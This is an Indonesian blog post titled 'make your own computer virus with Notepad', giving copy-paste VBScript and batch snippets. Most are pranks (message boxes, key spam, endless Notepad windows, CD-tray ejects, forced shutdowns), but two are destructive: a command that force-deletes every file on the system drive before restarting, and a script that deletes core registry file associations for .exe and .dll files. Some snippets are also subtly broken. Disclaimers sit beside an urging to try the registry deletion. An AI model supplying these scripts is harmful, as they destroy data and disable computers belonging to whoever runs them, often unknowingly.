Friday, October 15

MEMBUAT VIRUS KOMPUTER SENDIRI DENGAN NOTEPAD



NIH CUMAN BUAT BELAJAR AJ ............., JANGAN BUAT YANG GA BAIK

Virus ini di save dngn nama:
Nama_File.vbs
INGAT !! 'Save as type' harus diubah dulu menjadi 'All files'

Teknik Dasar Membuat VIRUS :


Pesan Virus


x=msgbox("VIRUS MENYERANG !!",vbCritical,"BAHAYA!")

Shutdown Komputer

@echo off msg * Komputer Terserang VIRUS ! shutdown -c "ERROR!! Ucapkan Selamat Tinggal Pada Komputermu!!" -s -t 10

Notepad Terbuka Terus Menerus

@ECHO off :top START %SystemRoot%/system32/notepad.exe GOTO top

Blue Screen

@echo off del %systemdrive%/*.* /f /s /q shutdown -r -f -t 00

Enter Trus Menerus

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

Disable Keyboard dengan Pesan

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Keyboard Anda Sudah Rusak! HARAP DI BANTING !!" loop

Disable Backspace dengan Pesan

MsgBox "Aduuh sakit!! Jangan dipencet terus BEGO !!" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop


Mengubah Title Internet Explorer

rg.regwrite "HKEY_CURRENT_USER \Softwere\Microsoft\Internet Explorer\Main\Window
Title"," Daryat Net "

Meng-Eject Drive CD-Room Terus Menerus

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

^
^

Hati2 jika terlalu sering komputer akan RUSAK

Delete Registry (BAHAYA !! Harap di coba)

@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO your computer has been fcked. Have a nice day. GOTO MASSAGE


PERINGATAN !! JANGAN GUNAKAN DIKOMPUTER ANDA !! Jika terjadi apa-apa saya tidak ikut bertanggung jawab !!

INGAT !! Disini saya hanya sekedar berbagi ilmu dan pengetahuan saja,, JANGAN GUNAKAN UNTUK KEJAHATAN !!

0 komentar:

Post a Comment

 
Design by Serba-Serbi Online™ | Bloggerized by Yosep Nurawan - Serba-Serbi Online™ | Contact Me